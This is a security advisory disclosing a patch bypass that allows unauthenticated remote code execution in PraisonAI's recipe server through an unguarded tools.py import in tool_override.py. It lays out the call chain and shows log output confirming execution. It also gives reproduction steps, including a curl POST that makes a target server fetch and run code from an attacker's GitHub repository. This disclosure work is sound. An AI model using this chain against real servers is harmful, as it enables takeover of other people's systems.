GHSA-xcmw-grxf-wjhj
PraisonAI has unauthenticated RCE via `tool_override.py` (CVE-2026-40287 patch bypass)
Packages
Details
As written in the advisory (Markdown source, shown as plain text).
## TL;DR
CVE-2026-40287's fix gated `tools.py` auto-import behind `PRAISONAI_ALLOW_LOCAL_TOOLS=true` in **two** files (`tool_resolver.py`, `api/call.py`). A **third** import sink in `praisonai/templates/tool_override.py` was missed and remains unguarded. It is reached by the recipe runner on every recipe execution and is **remotely** triggerable through `POST /v1/recipes/run` with a `recipe` value pointing at any local absolute path *or* any GitHub repo (because `SecurityConfig.allow_any_github` defaults to `True`). The attacker drops a `tools.py` next to `TEMPLATE.yaml`; the server `exec_module()`s it. No auth required by default, no environment opt-in required.
## Patch coverage gap
CVE-2026-40287 was fixed in v4.5.139 by adding an env-var gate at:
| File | Line | Gate |
|---|---|---|
| `praisonai/tool_resolver.py` | 77 | `if os.environ.get("PRAISONAI_ALLOW_LOCAL_TOOLS", "").lower() != "true":` |
| `praisonai/api/call.py` | 80 | same |
But the equivalent sinks in `praisonai/templates/tool_override.py` were **not** patched:
```python
# tool_override.py - create_tool_registry_with_overrides()
332 cwd_tools_py = Path.cwd() / "tools.py"
333 if cwd_tools_py.exists():
334 try:
335 tools = loader.load_from_file(str(cwd_tools_py)) # <-- exec_module
336 registry.update(tools)
337 except Exception:
338 pass
339
341 # 4. Template-local tools.py
342 if template_dir:
343 tools_py = Path(template_dir) / "tools.py"
344 if tools_py.exists():
345 try:
346 tools = loader.load_from_file(str(tools_py)) # <-- exec_module
347 registry.update(tools)
348 except Exception:
349 pass
```
`load_from_file` (line 84-94) ends in `spec.loader.exec_module(module)` with no allowlist, no signature check, no env gate. Both call sites run unconditionally on every recipe execution.
## Attack chain
```
HTTP POST /v1/recipes/run
body: {"recipe": "<abs path>" | "github:<owner>/<repo>/<recipe>"}
│
▼
recipe/serve.py:483 run_recipe(request) ← auth=none default
│
▼
recipe/core.py:215 recipe.run(name, ...)
│
▼
recipe/core.py:686 _load_recipe(name)
└─ ".." check only; absolute paths and URIs allowed
│
▼
templates/loader.py:94 TemplateLoader.load(uri)
│
▼
templates/security.py:130 is_source_allowed("github:*")
└─ allow_any_github=True default → returns True
│
▼
templates/registry.py fetch repo from raw.githubusercontent.com → cache dir
│
▼
templates/security.py:215 validate_template_directory(cached.path)
└─ .py is in allowed_extensions → tools.py kept
│
▼
recipe/core.py:887 _execute_recipe(recipe_config, ...)
│
▼
recipe/core.py:943 create_tool_registry_with_overrides(
include_defaults=True,
template_dir=recipe_config.path)
│
▼
templates/tool_override.py:341-349 load_from_file(template_dir/tools.py)
│
▼
templates/tool_override.py:94 spec.loader.exec_module(module) ← RCE
```
The tool registry build runs *before* any LLM/agent step, so `OPENAI_API_KEY` and similar are not required. A recipe with an empty `workflow.steps: []` is sufficient - the payload fires during registry construction.
## Confirmed execution (2026-04-25, praisonai 4.6.31)
```
SERVER stdout (PID 43784):
Uvicorn running on http://127.0.0.1:8765
127.0.0.1 - POST /v1/recipes/run HTTP/1.1
[CVE-2026-40287-bypass] RCE fired. Marker written to: …/praisonai_pwn_1777094071.txt
127.0.0.1 - "POST /v1/recipes/run" 500 Internal Server Error
Marker file:
pid: 43784 ← matches server PID
argv: ['server.py'] ← server process, not exploit
```
The 500 response is a downstream side-effect of `workflow.steps: []` failing to construct a runnable workflow; the `exec_module(tools.py)` call runs *before* that error. The attacker payload has already executed in the server process by the time the 500 is sent.
## Reproduction (local-path variant)
Files under `pocs/praisonai-cve-2026-40287-bypass/`:
- [evil_recipe/TEMPLATE.yaml](https://github.com/user-attachments/files/27079207/TEMPLATE.yaml) - minimal recipe metadata
- [evil_recipe/tools.py](https://github.com/user-attachments/files/27079210/tools.py) - payload (writes a marker file in tempdir)
- [server.py](https://github.com/user-attachments/files/27079211/server.py) - starts `praisonai.recipe.serve.create_app({})` on `127.0.0.1:8765` (default `auth: none`)
- [exploit.py](https://github.com/user-attachments/files/27079214/exploit.py) - single POST to `/v1/recipes/run`
```bash
pip install 'praisonai[serve]==4.6.31'
# Terminal 1
python server.py
# Terminal 2
python exploit.py
```
Expected: server stdout shows `[CVE-2026-40287-bypass] RCE fired.`; a `praisonai_pwn_<timestamp>.txt` file appears in the system temp directory containing user, host, pid, cwd captured from inside the server process.
## Reproduction (remote GitHub variant)
```bash
# Push evil_recipe/ to https://github.com/<you>/poc-recipe (public repo)
curl -X POST http://target:8765/v1/recipes/run \
-H 'Content-Type: application/json' \
-d '{"recipe":"github:<you>/poc-recipe/poc-recipe"}'
```
No filesystem prerequisite on the target. Triggers because `SecurityConfig.allow_any_github` (templates/security.py:30) defaults to `True`.
References
External links from the advisory. They lead to third-party sites.